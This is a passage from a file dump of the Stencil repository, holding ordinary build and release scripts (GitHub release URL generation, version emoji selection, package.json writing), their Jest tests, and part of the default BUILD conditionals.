fs.writeFile(opts.changelogPath, changelog);\n}\n\n/**\n * Generate a GitHub release and create it. This function assumes that the CHANGELOG.md file has been written to disk.\n * @param opts build options to be used to create a GitHub release\n */\nexport async function postGithubRelease(opts: BuildOptions): Promise<void> {\n  const versionTag = `v${opts.version}`;\n  const title = `${opts.vermoji} ${opts.version}`;\n\n  const lines = (await fs.readFile(opts.changelogPath, 'utf8')).trim().split('\\n');\n\n  let body = '';\n  for (let i = 1; i < 500; i++) {\n    const currentLine = lines[i];\n\n    if (currentLine == undefined) {\n      // we don't test this as `!currentLine`, as an empty string is permitted in the changelog\n      break;\n    }\n\n    const isMajorOrMinorVersionHeader = currentLine.startsWith('# ');\n    const isPatchVersionHeader = currentLine.startsWith('## ');\n    if (isMajorOrMinorVersionHeader || isPatchVersionHeader) {\n      break;\n    }\n    body += currentLine + '\\n';\n  }\n\n  // https://docs.github.com/en/github/administering-a-repository/automation-for-release-forms-with-query-parameters\n  const url = new URL(`https://github.com/${opts.ghRepoOrg}/${opts.ghRepoName}/releases/new`);\n  url.searchParams.set('tag', versionTag);\n\n  const timestamp = new Date().toISOString().substring(0, 10);\n\n  // this will be automatically encoded for us, no need to call `encodeURIComponent` here. doing so will result in a\n  // double encoding, which does not render properly in GitHub\n  url.searchParams.set('title', `${title} (${timestamp})`);\n\n  url.searchParams.set('body', body.trim());\n  if (opts.tag === 'next' || opts.tag === 'test') {\n    url.searchParams.set('prerelease', '1');\n  }\n\n  const open = (await import('open')).default;\n  await open(url.href);\n}\n"
  },
  {
    "path": "scripts/utils/test/options.spec.ts",
    "content": "import path from 'path';\n\nimport { BuildOptions, getOptions } from '../options';\nimport * as Vermoji from '../vermoji';\n\ndescribe('release options', () => {\n  describe('getOptions', () => {\n    const ROOT_DIR = path.join(__dirname, '../../..');\n    // Friday, February 24, 2023 2:42:09.123 PM, GMT\n    const FAKE_SYSTEM_TIME_MS = 1677249729123;\n    const FAKE_SYSTEM_TIME_S = FAKE_SYSTEM_TIME_MS.toString(10).slice(0, -3);\n\n    beforeEach(() => {\n      jest.useFakeTimers();\n      jest.setSystemTime(FAKE_SYSTEM_TIME_MS);\n    });\n\n    afterEach(() => {\n      jest.useRealTimers();\n    });\n\n    it('returns the correct default value', () => {\n      const buildOpts = getOptions(ROOT_DIR);\n\n      expect(buildOpts).toEqual<BuildOptions>({\n        buildDir: path.join(ROOT_DIR, 'build'),\n        // More focused tests for `buildId` can be found in another testing suite in this file\n        buildId: expect.any(String),\n        bundleHelpersDir: path.join(ROOT_DIR, 'scripts', 'esbuild', 'helpers'),\n        changelogPath: path.join(ROOT_DIR, 'CHANGELOG.md'),\n        ghRepoName: 'stencil',\n        ghRepoOrg: 'ionic-team',\n        isCI: false,\n        isProd: false,\n        isPublishRelease: false,\n        isWatch: false,\n        nodeModulesDir: path.join(ROOT_DIR, 'node_modules'),\n        output: {\n          cliDir: path.join(ROOT_DIR, 'cli'),\n          compilerDir: path.join(ROOT_DIR, 'compiler'),\n          devServerDir: path.join(ROOT_DIR, 'dev-server'),\n          internalDir: path.join(ROOT_DIR, 'internal'),\n          mockDocDir: path.join(ROOT_DIR, 'mock-doc'),\n          screenshotDir: path.join(ROOT_DIR, 'screenshot'),\n          sysNodeDir: path.join(ROOT_DIR, 'sys', 'node'),\n          testingDir: path.join(ROOT_DIR, 'testing'),\n        },\n        // reads in package.json, skip it verifying it\n        packageJson: expect.any(Object),\n        packageJsonPath: path.join(ROOT_DIR, 'package.json'),\n        packageLockJsonPath: path.join(ROOT_DIR, 'package-lock.json'),\n        rootDir: ROOT_DIR,\n        scriptsBuildDir: path.join(ROOT_DIR, 'scripts', 'build'),\n        scriptsBundlesDir: path.join(ROOT_DIR, 'scripts', 'esbuild'),\n        scriptsDir: path.join(ROOT_DIR, 'scripts'),\n        srcDir: path.join(ROOT_DIR, 'src'),\n        tag: 'dev',\n        typescriptDir: path.join(ROOT_DIR, 'node_modules', 'typescript'),\n        typescriptLibDir: path.join(ROOT_DIR, 'node_modules', 'typescript', 'lib'),\n        vermoji: '💎',\n        // More focused tests for `version` can be found in another testing suite in this file\n        version: expect.any(String),\n        jqueryVersion: expect.any(String),\n        parse5Version: expect.any(String),\n        terserVersion: expect.any(String),\n        rollupVersion: expect.any(String),\n        typescriptVersion: expect.any(String),\n      });\n    });\n\n    describe('buildId', () => {\n      it('defaults the buildId if none is provided', () => {\n        const { buildId } = getOptions(ROOT_DIR);\n\n        expect(buildId).toBeDefined();\n        expect(buildId).toBe(FAKE_SYSTEM_TIME_S);\n      });\n\n      it('uses the provided the buildId', () => {\n        const expectedBuildId = 'test-build-id';\n        const { buildId } = getOptions(ROOT_DIR, { buildId: expectedBuildId });\n\n        expect(buildId).toBeDefined();\n        expect(buildId).toBe(expectedBuildId);\n      });\n    });\n\n    describe('version', () => {\n      it('defaults the version if none is provided', () => {\n        const { version } = getOptions(ROOT_DIR);\n\n        expect(version).toBeDefined();\n        // Expect a version string with the format 0.0.0-dev-[EPOCH_TIME]-[GIT_SHA_7_CHARS]\n        // or, contain a possible pre-release string like 0.0.0-beta.0-dev-[EPOCH_TIME]-[GIT_SHA_7_CHARS]\n\n        expect(version).toMatch(new RegExp(`\\\\d+\\\\.\\\\d+\\\\.\\\\d+(-(.{1,}))?-dev.${FAKE_SYSTEM_TIME_S}.\\\\w{7}`));\n      });\n\n      it('uses the provided version', () => {\n        const expectedVersion = '3.0.0-dev-1234';\n        const { version } = getOptions(ROOT_DIR, { version: expectedVersion });\n\n        expect(version).toBeDefined();\n        expect(version).toBe(expectedVersion);\n      });\n    });\n\n    describe('publish + prod check', () => {\n      it(\"throws an error if 'isPublishRelease' is set, but Stencil is not built for 'isProd'\", () => {\n        expect(() => getOptions(ROOT_DIR, { isProd: false, isPublishRelease: true })).toThrow(\n          'release must also be a prod build',\n        );\n      });\n\n      it.each<Partial<BuildOptions>>([\n        { isProd: false },\n        { isPublishRelease: false },\n        { isProd: false, isPublishRelease: false },\n        { isProd: true, isPublishRelease: false },\n        { isProd: true, isPublishRelease: true },\n      ])(\"does not throw an error for other combinations of 'isPublishRelease' and 'isProd'\", (buildOpts) => {\n        expect(() => getOptions(ROOT_DIR, buildOpts)).not.toThrow();\n      });\n    });\n\n    describe('vermoji', () => {\n      let getVermojiSpy: jest.SpyInstance<ReturnType<typeof Vermoji.getVermoji>, Parameters<typeof Vermoji.getVermoji>>;\n\n      beforeEach(() => {\n        getVermojiSpy = jest.spyOn(Vermoji, 'getVermoji');\n        getVermojiSpy.mockImplementation((_changelogPath) => '🧀');\n      });\n\n      afterEach(() => {\n        getVermojiSpy.mockRestore();\n      });\n\n      it('defaults to 💎 for non-prod builds', () => {\n        expect(getOptions(ROOT_DIR).vermoji).toBe('💎');\n      });\n\n      it.each<Partial<BuildOptions>>([\n        { isProd: true, vermoji: '🦄' },\n        { isProd: false, vermoji: '🦄' },\n      ])(\"uses the provided vermoji, regardless of 'isProd'\", () => {\n        const expectedVermoji = '🦄';\n        const { vermoji } = getOptions(ROOT_DIR, { vermoji: expectedVermoji });\n        expect(vermoji).toEqual('🦄');\n      });\n\n      it('picks a new vermoji when none is provided for prod builds', () => {\n        const { vermoji } = getOptions(ROOT_DIR, { isProd: true });\n        expect(vermoji).toEqual('🧀');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "scripts/utils/test/release-utils.spec.ts",
    "content": "import fs from 'fs-extra';\n\nimport { BuildOptions } from '../options';\n\n// `open` must be mocked before importing the module under test\nconst openMock = jest.fn();\njest.mock('open', () => openMock);\n\nimport { postGithubRelease } from '../release-utils';\n\ndescribe('release-utils', () => {\n  describe('postGithubRelease', () => {\n    jest.useFakeTimers().setSystemTime(new Date('2022-01-01').getTime());\n\n    let buildOptions: BuildOptions;\n\n    let mockReadFile: jest.SpyInstance<ReturnType<typeof fs.readFile>, Parameters<typeof fs.readFile>>;\n\n    beforeEach(() => {\n      mockReadFile = jest.spyOn(fs, 'readFile');\n\n      buildOptions = {\n        changelogPath: 'some/mock/CHANGELOG.md',\n        ghRepoName: 'stencil',\n        ghRepoOrg: 'ionic-team',\n        tag: 'dev',\n        vermoji: '🚗',\n        version: '0.0.0',\n      };\n    });\n\n    afterEach(() => {\n      jest.clearAllMocks();\n    });\n\n    afterAll(() => {\n      jest.resetAllMocks();\n    });\n\n    it('creates an empty body if the changelog is empty', async () => {\n      // Jest isn't smart enough to pick the correct overloaded method, so we must do type assertions to get our spy to\n      // return a string (as if we called the original with an encoding argument)\n      mockReadFile.mockResolvedValue('' as unknown as Buffer);\n\n      await postGithubRelease(buildOptions);\n\n      expect(openMock).toHaveBeenCalledTimes(1);\n      expect(openMock).toHaveBeenCalledWith(\n        'https://github.com/ionic-team/stencil/releases/new?tag=v0.0.0&title=%F0%9F%9A%97+0.0.0+%282022-01-01%29&body=',\n      );\n    });\n\n    it('splits a minor release from a previous patch release', async () => {\n      const minorReleaseFollowingPatch = `# 🍣 [2.13.0](https://github.com/ionic-team/stencil/compare/v2.12.1...v2.13.0) (2022-01-24)\n\n\n### Features\n\n* **mock-doc:** add simple MockEvent#composedPath() impl ([#3204](https://github.com/ionic-team/stencil/issues/3204)) ([7b47d96](https://github.com/ionic-team/stencil/commit/7b47d96e1e3c6c821d5c416fbe987646b4cd1551))\n* **test:** jest 27 support ([#3189](https://github.com/ionic-team/stencil/issues/3189)) ([10efeb6](https://github.com/ionic-team/stencil/commit/10efeb6f74888f05a13a47d8afc00b5e83a3f3db))\n\n\n\n## 🍔 [2.12.1](https://github.com/ionic-team/stencil/compare/v2.12.0...v2.12.1) (2022-01-04)\n\n\n### Bug Fixes\n\n* **vdom:** properly warn for step attr on input ([#3196](https://github.com/ionic-team/stencil/issues/3196)) ([7ffc02e](https://github.com/ionic-team/stencil/commit/7ffc02e5d07b05de45cbaf4f0cce3f3e165b3eb0))\n\n\n### Features\n\n* **typings:** add optional key and ref to slot elements ([#3177](https://github.com/ionic-team/stencil/issues/3177)) ([ce27a18](https://github.com/ionic-team/stencil/commit/ce27a18ba8ecdb2cc5401470747a7e9d91e40a44))\n`;\n\n      // Jest isn't smart enough to pick the correct overloaded method, so we must do type assertions to get our spy to\n      // return a string (as if we called the original with an encoding argument)\n      mockReadFile.mockResolvedValue(minorReleaseFollowingPatch as unknown as Buffer);\n\n      await postGithubRelease(buildOptions);\n\n      expect(openMock).toHaveBeenCalledTimes(1);\n      expect(openMock).toHaveBeenCalledWith(\n        'https://github.com/ionic-team/stencil/releases/new?tag=v0.0.0&title=%F0%9F%9A%97+0.0.0+%282022-01-01%29&body=%23%23%23+Features%0A%0A*+**mock-doc%3A**+add+simple+MockEvent%23composedPath%28%29+impl+%28%5B%233204%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3204%29%29+%28%5B7b47d96%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F7b47d96e1e3c6c821d5c416fbe987646b4cd1551%29%29%0A*+**test%3A**+jest+27+support+%28%5B%233189%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3189%29%29+%28%5B10efeb6%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F10efeb6f74888f05a13a47d8afc00b5e83a3f3db%29%29',\n      );\n    });\n\n    it('splits a minor release from a previous minor release', async () => {\n      const minorReleaseFollowingMinor = `# ⛸ [2.12.0](https://github.com/ionic-team/stencil/compare/v2.11.0...v2.12.0) (2021-12-13)\n\n\n### Bug Fixes\n\n* **cli:** wait for help task to finish before exiting ([#3160](https://github.com/ionic-team/stencil/issues/3160)) ([f10cee1](https://github.com/ionic-team/stencil/commit/f10cee12a8d00e7581fcf13216f01ded46227f49))\n* **mock-doc:** make Node.contains() return true for self ([#3150](https://github.com/ionic-team/stencil/issues/3150)) ([f164407](https://github.com/ionic-team/stencil/commit/f164407f7463faba7a3c39afca942c2a26210b82))\n* **mock-doc:** allow urls as css values ([#2857](https://github.com/ionic-team/stencil/issues/2857)) ([6faa5f2](https://github.com/ionic-team/stencil/commit/6faa5f2f196ff786ffc4b818ac09708ba5de9b35))\n* **sourcemaps:** do not encode inline sourcemaps ([#3163](https://github.com/ionic-team/stencil/issues/3163)) ([b2eb083](https://github.com/ionic-team/stencil/commit/b2eb083306802645ee6e31987917dea942882e46)), closes [#3147](https://github.com/ionic-team/stencil/issues/3147)\n\n\n### Features\n\n* **dist-custom-elements-bundle:** add deprecation warning ([#3167](https://github.com/ionic-team/stencil/issues/3167)) ([c7b07c6](https://github.com/ionic-team/stencil/commit/c7b07c65265c7d4715f29835632cc6538ea63585))\n\n\n\n# 🐌 [2.11.0](https://github.com/ionic-team/stencil/compare/v2.11.0-0...v2.11.0) (2021-11-22)\n\n\n### Bug Fixes\n\n* **dist-custom-elements:** add ssr checks ([#3131](https://github.com/ionic-team/stencil/issues/3131)) ([9a232ea](https://github.com/ionic-team/stencil/commit/9a232ea368324f49993bd079cfdbc344abd0c69e))\n\n\n### Features\n\n* **css:** account for escaped ':' in css selectors ([#3087](https://github.com/ionic-team/stencil/issues/3087)) ([6000681](https://github.com/ionic-team/stencil/commit/600068168c86dba9ea610b5e8a0dbba00ff4d1f4))\n`;\n\n      // Jest isn't smart enough to pick the correct overloaded method, so we must do type assertions to get our spy to\n      // return a string (as if we called the original with an encoding argument)\n      mockReadFile.mockResolvedValue(minorReleaseFollowingMinor as unknown as Buffer);\n\n      await postGithubRelease(buildOptions);\n\n      expect(openMock).toHaveBeenCalledTimes(1);\n      expect(openMock).toHaveBeenCalledWith(\n        'https://github.com/ionic-team/stencil/releases/new?tag=v0.0.0&title=%F0%9F%9A%97+0.0.0+%282022-01-01%29&body=%23%23%23+Bug+Fixes%0A%0A*+**cli%3A**+wait+for+help+task+to+finish+before+exiting+%28%5B%233160%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3160%29%29+%28%5Bf10cee1%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2Ff10cee12a8d00e7581fcf13216f01ded46227f49%29%29%0A*+**mock-doc%3A**+make+Node.contains%28%29+return+true+for+self+%28%5B%233150%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3150%29%29+%28%5Bf164407%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2Ff164407f7463faba7a3c39afca942c2a26210b82%29%29%0A*+**mock-doc%3A**+allow+urls+as+css+values+%28%5B%232857%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F2857%29%29+%28%5B6faa5f2%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F6faa5f2f196ff786ffc4b818ac09708ba5de9b35%29%29%0A*+**sourcemaps%3A**+do+not+encode+inline+sourcemaps+%28%5B%233163%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3163%29%29+%28%5Bb2eb083%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2Fb2eb083306802645ee6e31987917dea942882e46%29%29%2C+closes+%5B%233147%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3147%29%0A%0A%0A%23%23%23+Features%0A%0A*+**dist-custom-elements-bundle%3A**+add+deprecation+warning+%28%5B%233167%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3167%29%29+%28%5Bc7b07c6%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2Fc7b07c65265c7d4715f29835632cc6538ea63585%29%29',\n      );\n    });\n\n    it('splits a patch release from a previous patch release', async () => {\n      const patchReleaseFollowingPatch = `## ♨️ [2.12.2](https://github.com/ionic-team/stencil/compare/v2.12.1...v2.12.2) (2022-01-24)\n\n\n### Features\n\n* **mock-doc:** add simple MockEvent#composedPath() impl ([#3204](https://github.com/ionic-team/stencil/issues/3204)) ([7b47d96](https://github.com/ionic-team/stencil/commit/7b47d96e1e3c6c821d5c416fbe987646b4cd1551))\n* **test:** jest 27 support ([#3189](https://github.com/ionic-team/stencil/issues/3189)) ([10efeb6](https://github.com/ionic-team/stencil/commit/10efeb6f74888f05a13a47d8afc00b5e83a3f3db))\n\n\n\n## 🍔 [2.12.1](https://github.com/ionic-team/stencil/compare/v2.12.0...v2.12.1) (2022-01-04)\n\n\n### Bug Fixes\n\n* **vdom:** properly warn for step attr on input ([#3196](https://github.com/ionic-team/stencil/issues/3196)) ([7ffc02e](https://github.com/ionic-team/stencil/commit/7ffc02e5d07b05de45cbaf4f0cce3f3e165b3eb0))\n\n\n### Features\n\n* **typings:** add optional key and ref to slot elements ([#3177](https://github.com/ionic-team/stencil/issues/3177)) ([ce27a18](https://github.com/ionic-team/stencil/commit/ce27a18ba8ecdb2cc5401470747a7e9d91e40a44))\n`;\n\n      // Jest isn't smart enough to pick the correct overloaded method, so we must do type assertions to get our spy to\n      // return a string (as if we called the original with an encoding argument)\n      mockReadFile.mockResolvedValue(patchReleaseFollowingPatch as unknown as Buffer);\n\n      await postGithubRelease(buildOptions);\n\n      expect(openMock).toHaveBeenCalledTimes(1);\n      expect(openMock).toHaveBeenCalledWith(\n        'https://github.com/ionic-team/stencil/releases/new?tag=v0.0.0&title=%F0%9F%9A%97+0.0.0+%282022-01-01%29&body=%23%23%23+Features%0A%0A*+**mock-doc%3A**+add+simple+MockEvent%23composedPath%28%29+impl+%28%5B%233204%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3204%29%29+%28%5B7b47d96%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F7b47d96e1e3c6c821d5c416fbe987646b4cd1551%29%29%0A*+**test%3A**+jest+27+support+%28%5B%233189%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3189%29%29+%28%5B10efeb6%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F10efeb6f74888f05a13a47d8afc00b5e83a3f3db%29%29',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "scripts/utils/vermoji.ts",
    "content": "import fs from 'fs-extra';\n\nconst UNKNOWN_VERMOJI = '❓';\n\nlet vermojis = [\n  '💯',\n  '☀️',\n  '☕️',\n  '♨️',\n  '✈️',\n  '✨',\n  '❄️',\n  '❤️',\n  '☎️',\n  '⚡️',\n  '⚽️',\n  '⚾️',\n  '⛄️',\n  '⛑',\n  '⛰',\n  '⛱',\n  '⛲️',\n  '⛳️',\n  '⛴',\n  '⛵️',\n  '⛷',\n  '⛸',\n  '⛹',\n  '⛺️',\n  '⭐️',\n  '🌀',\n  '🌁',\n  '🌃',\n  '🌄',\n  '🌅',\n  '🌇',\n  '🌈',\n  '🌍',\n  '🌎',\n  '🌏',\n  '🌐',\n  '🌙',\n  '🌜',\n  '🌝',\n  '🌞',\n  '🌟',\n  '🌪',\n  '🌭',\n  '🌮',\n  '🌯',\n  '🌱',\n  '🌲',\n  '🌳',\n  '🌴',\n  '🌵',\n  '🌶',\n  '🌷',\n  '🌸',\n  '🌹',\n  '🌺',\n  '🌻',\n  '🌼',\n  '🍀',\n  '🍁',\n  '🍅',\n  '🍇',\n  '🍈',\n  '🍉',\n  '🍊',\n  '🍋',\n  '🍌',\n  '🍍',\n  '🍎',\n  '🍏',\n  '🍐',\n  '🍒',\n  '🍓',\n  '🍔',\n  '🍕',\n  '🍖',\n  '🍗',\n  '🍜',\n  '🍝',\n  '🍞',\n  '🍟',\n  '🍡',\n  '🍣',\n  '🍤',\n  '🍦',\n  '🍧',\n  '🍨',\n  '🍩',\n  '🍪',\n  '🍫',\n  '🍬',\n  '🍭',\n  '🍮',\n  '🍯',\n  '🍰',\n  '🍲',\n  '🍵',\n  '🍷',\n  '🍸',\n  '🍹',\n  '🍺',\n  '🍻',\n  '🥃',\n  '🍾',\n  '🍿',\n  '🎀',\n  '🎁',\n  '🎂',\n  '🎆',\n  '🎇',\n  '🎈',\n  '🎉',\n  '🎊',\n  '🎖',\n  '🎙',\n  '🎠',\n  '🎡',\n  '🎢',\n  '🎤',\n  '🎨',\n  '🎩',\n  '🎪',\n  '🎬',\n  '🎭',\n  '🎯',\n  '🎰',\n  '🎱',\n  '🎲',\n  '🎳',\n  '🎷',\n  '🎸',\n  '🎹',\n  '🎺',\n  '🎻',\n  '🎾',\n  '🎿',\n  '🏀',\n  '🏁',\n  '🏂',\n  '🏃',\n  '🏄',\n  '🏅',\n  '🏆',\n  '🏇',\n  '🏈',\n  '🏉',\n  '🏊',\n  '🏋',\n  '🏌',\n  '🏍',\n  '🏎',\n  '🏏',\n  '🏐',\n  '🏑',\n  '🏒',\n  '🏓',\n  '🏔',\n  '🏕',\n  '🏖',\n  '🏙',\n  '🏜',\n  '🏝',\n  '🏰',\n  '🏵',\n  '🏸',\n  '🏹',\n  '🐁',\n  '🐂',\n  '🐄',\n  '🐅',\n  '🐆',\n  '🐇',\n  '🐈',\n  '🐉',\n  '🐊',\n  '🐋',\n  '🐌',\n  '🐍',\n  '🐎',\n  '🐏',\n  '🐐',\n  '🐒',\n  '🐓',\n  '🐔',\n  '🐕',\n  '🐖',\n  '🐗',\n  '🐘',\n  '🐙',\n  '🐚',\n  '🐛',\n  '🐝',\n  '🐞',\n  '🐟',\n  '🐠',\n  '🐡',\n  '🐣',\n  '🐤',\n  '🐥',\n  '🐦',\n  '🐧',\n  '🐨',\n  '🐩',\n  '🐫',\n  '🐬',\n  '🐭',\n  '🐮',\n  '🐯',\n  '🐰',\n  '🐱',\n  '🐳',\n  '🐴',\n  '🐵',\n  '🐶',\n  '🐷',\n  '🐸',\n  '🐹',\n  '🐺',\n  '🐻',\n  '🐼',\n  '🐽',\n  '🐿',\n  '👑',\n  '👒',\n  '👻',\n  '👽',\n  '👾',\n  '💍',\n  '💙',\n  '💚',\n  '💛',\n  '💡',\n  '💥',\n  '💪',\n  '💫',\n  '💾',\n  '💿',\n  '📌',\n  '📍',\n  '📟',\n  '🛰',\n  '📢',\n  '📣',\n  '📬',\n  '📷',\n  '📺',\n  '📻',\n  '🔈',\n  '🔋',\n  '🔔',\n  '🔥',\n  '🔬',\n  '🔭',\n  '🔮',\n  '🕊',\n  '🕹',\n  '🖍',\n  '🗻',\n  '😀',\n  '😃',\n  '😄',\n  '😈',\n  '😊',\n  '😋',\n  '😎',\n  '😛',\n  '😜',\n  '😸',\n  '🤓',\n  '🤖',\n  '🚀',\n  '🚁',\n  '🚂',\n  '🚃',\n  '🚅',\n  '🚋',\n  '🚌',\n  '🚍',\n  '🚎',\n  '🚐',\n  '🚑',\n  '🚒',\n  '🚓',\n  '🚔',\n  '🚕',\n  '🚖',\n  '🚗',\n  '🚘',\n  '🚙',\n  '🚚',\n  '🚛',\n  '🚜',\n  '🚞',\n  '🚟',\n  '🚠',\n  '🚡',\n  '🚢',\n  '🚣',\n  '🚤',\n  '🚦',\n  '🚨',\n  '🚩',\n  '🛠',\n  '🛥',\n  '🛩',\n  '🛳',\n  '🤘',\n  '🦀',\n  '🦁',\n  '🦂',\n  '🦃',\n  '🦄',\n  '🧀',\n];\n\n// filter out the 'unknown version vermoji'\nvermojis = vermojis.filter((vermoji) => vermoji !== UNKNOWN_VERMOJI);\n\nexport function getVermoji(changelogPath: string) {\n  const changelog = fs.readFileSync(changelogPath, 'utf8');\n\n  while (true) {\n    const randomIndex = Math.floor(Math.random() * vermojis.length);\n    const vermoji = vermojis[randomIndex];\n    if (changelog.includes(vermoji)) {\n      vermojis.splice(randomIndex, 1);\n\n      if (vermojis.length === 0) {\n        console.warn(`We're out of Vermoji! Create a task to add some more!`);\n        return UNKNOWN_VERMOJI;\n      }\n    } else {\n      return vermoji;\n    }\n  }\n}\n\n/**\n * Pull the most recently used vermoji for the provided changelog path\n * @param changelogPath the path to the changelog to parse\n * @returns the vermoji found in the changelog, otherwise use a default value.\n */\nexport function getLatestVermoji(changelogPath: string) {\n  let changelogContents = null;\n  try {\n    changelogContents = fs.readFileSync(changelogPath, 'utf8');\n  } catch (err: unknown) {\n    console.error(`Unable to read the changelog at path '${changelogPath}' - ${err}.`);\n    console.error(`Defaulting to ${UNKNOWN_VERMOJI}`);\n    return UNKNOWN_VERMOJI;\n  }\n\n  if (!changelogContents) {\n    console.error(`The changelog at '${changelogPath}' was empty!`);\n    console.error(`Defaulting to ${UNKNOWN_VERMOJI}`);\n    return UNKNOWN_VERMOJI;\n  }\n\n  // grab the first line of the changelog\n  const firstLine = changelogContents.trimStart().split('\\n')[0];\n  // match the first line of the changelog with a string that has:\n  // - one or more pound signs (#), followed by a space\n  // - capture the first non-space character(s)\n  const match = firstLine.match(/^#+\\s(\\S+)/);\n  // if a match was found, return the value in the first capture group. otherwise, use the default vermoji\n  return match ? match[1] : UNKNOWN_VERMOJI;\n}\n"
  },
  {
    "path": "scripts/utils/write-pkg-json.ts",
    "content": "import fs from 'fs-extra';\nimport path from 'path';\n\nimport { BuildOptions } from './options';\n\nexport function writePkgJson(opts: BuildOptions, pkgDir: string, pkgData: PackageData) {\n  pkgData.version = opts.version;\n  pkgData.private = true;\n\n  if (pkgData.main && !pkgData.main.startsWith('.')) {\n    pkgData.main = `./${pkgData.main}`;\n  }\n  if (pkgData.module && !pkgData.module.startsWith('.')) {\n    pkgData.module = `./${pkgData.module}`;\n  }\n  if (pkgData.types && !pkgData.types.startsWith('.')) {\n    pkgData.types = `./${pkgData.types}`;\n  }\n\n  if (pkgData.module && pkgData.main) {\n    pkgData.type = 'module';\n    pkgData.exports = {\n      import: pkgData.module,\n      require: pkgData.main,\n    };\n  }\n\n  // idk, i just like a nice pretty standardized order of package.json properties\n  const formatedPkg: any = {};\n  PROPS_ORDER.forEach((pkgProp) => {\n    if (pkgProp in pkgData) {\n      formatedPkg[pkgProp] = pkgData[pkgProp as keyof PackageData];\n    }\n  });\n\n  fs.writeFileSync(path.join(pkgDir, 'package.json'), JSON.stringify(formatedPkg, null, 2) + '\\n');\n}\n\nconst PROPS_ORDER = [\n  'name',\n  'version',\n  'description',\n  'bin',\n  'main',\n  'module',\n  'browser',\n  'types',\n  'exports',\n  'type',\n  'files',\n  'private',\n  'sideEffects',\n];\n\nexport interface PackageData {\n  name: string;\n  description: string;\n  main: string;\n  module?: string;\n  browser?: string;\n  exports?: any;\n  type?: string;\n  types?: string;\n  version?: string;\n  dependencies?: string[];\n  private?: boolean;\n  license?: string | any;\n  licenses?: string | any;\n  author?: string | any;\n  contributors?: string | any;\n  homepage?: string;\n  repository?: any;\n  files?: string[];\n  bin?: { [key: string]: string };\n  sideEffects?: false;\n}\n"
  },
  {
    "path": "src/app-data/index.ts",
    "content": "import type { BuildConditionals } from '@stencil/core/internal';\n\n/**\n * A collection of default build flags for a Stencil project.\n *\n * This collection can be found throughout the Stencil codebase, often imported from the `@app-data` module like so:\n * ```ts\n * import { BUILD } from '@app-data';\n * ```\n * and is used to determine if a portion of the output of a Stencil _project_'s compilation step can be eliminated.\n *\n * e.g. When `BUILD.allRenderFn` evaluates to `false`, the compiler will eliminate conditional statements like:\n * ```ts\n * if (BUILD.allRenderFn) {\n *   // some code that will be eliminated if BUILD.allRenderFn is false\n * }\n * ```\n *\n * `@app-data`, the module that `BUILD` is imported from, is an alias for the `@stencil/core/internal/app-data`, and is\n * partially referenced by {@link STENCIL_APP_DATA_ID}. The `src/compiler/bundle/app-data-plugin.ts` references\n * `STENCIL_APP_DATA_ID` uses it to replace these defaults with {@link BuildConditionals} that are derived from a\n * Stencil project's contents (i.e. metadata from the components). This replacement happens at a Stencil project's\n * compile time. Such code can be found at `src/compiler/app-core/app-data.ts`.\n */\nexport const BUILD: BuildConditionals = {\n  allRenderFn: false,\n  element: true,\n  event: true,\n  hasRenderFn: true,\n  hostListener: true,\n  hostListenerTargetWindow: true,\n  hostListenerTargetDocument: true,\n  hostListenerTargetBody: true,\n  hostListenerTargetParent: false,\n  hostListenerTarget: true,\n  member: true,\n  method: true,\n  mode: true,\n  observeAttribute: true,\n  prop: true,\n  propMutable: true,\n  reflect: true,\n  scoped: true,\n  shadowDom: true,\n  slot: true,\n  cssAnnotations: true,\n  state: true,\n  style: true,\n  formAssociated: false,\n  svg: true,\n  updatable: true,\n  vdomAttribute: true,\n  vdomXlink: true,\n  vdomClass: true,\n  vdomFunctional: true,\n  vdomKey: true,\n  vdomListener: true,\n  vdomRef: true,\n  vdomPropOrAttr: true,\n  vdomRender: true,\n  vdomStyle: true,\n  vdomText: true,\n  propChangeCallback: true,\n  taskQueue: true,\n  hotModuleReplacement: false,\n  isDebug: false,\n  isDev: false,\n  isTesting: false,\n  hydrateServerSide: false,\n  hydrateClientSide: false,\n  lifecycleDOMEvents: false,\n  lazyLoad: false,\n  profile: false,\n  slotRelocation: true,\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  appendChildSlotFix: false,\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  cloneNodeFix: false,\n  hydratedAttribute: false,\n  hydratedClass: true,\n  // TODO(STENCIL-1305): remove this option\n  scriptDataOpts: false,\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  scopedSlotTextContentFix: false,\n  // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n  shadowDomShim: false,\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  slotChildNodesFix: false,\n  invisiblePrehydration: true,\n  propBoolean: true,\n  propNumber: true,\n  propString: true,\n  constructableCSS: true,\n  devTools: false,\n  shadowDelegatesFocus: true,\n  shadowSlotAssignmentManual: 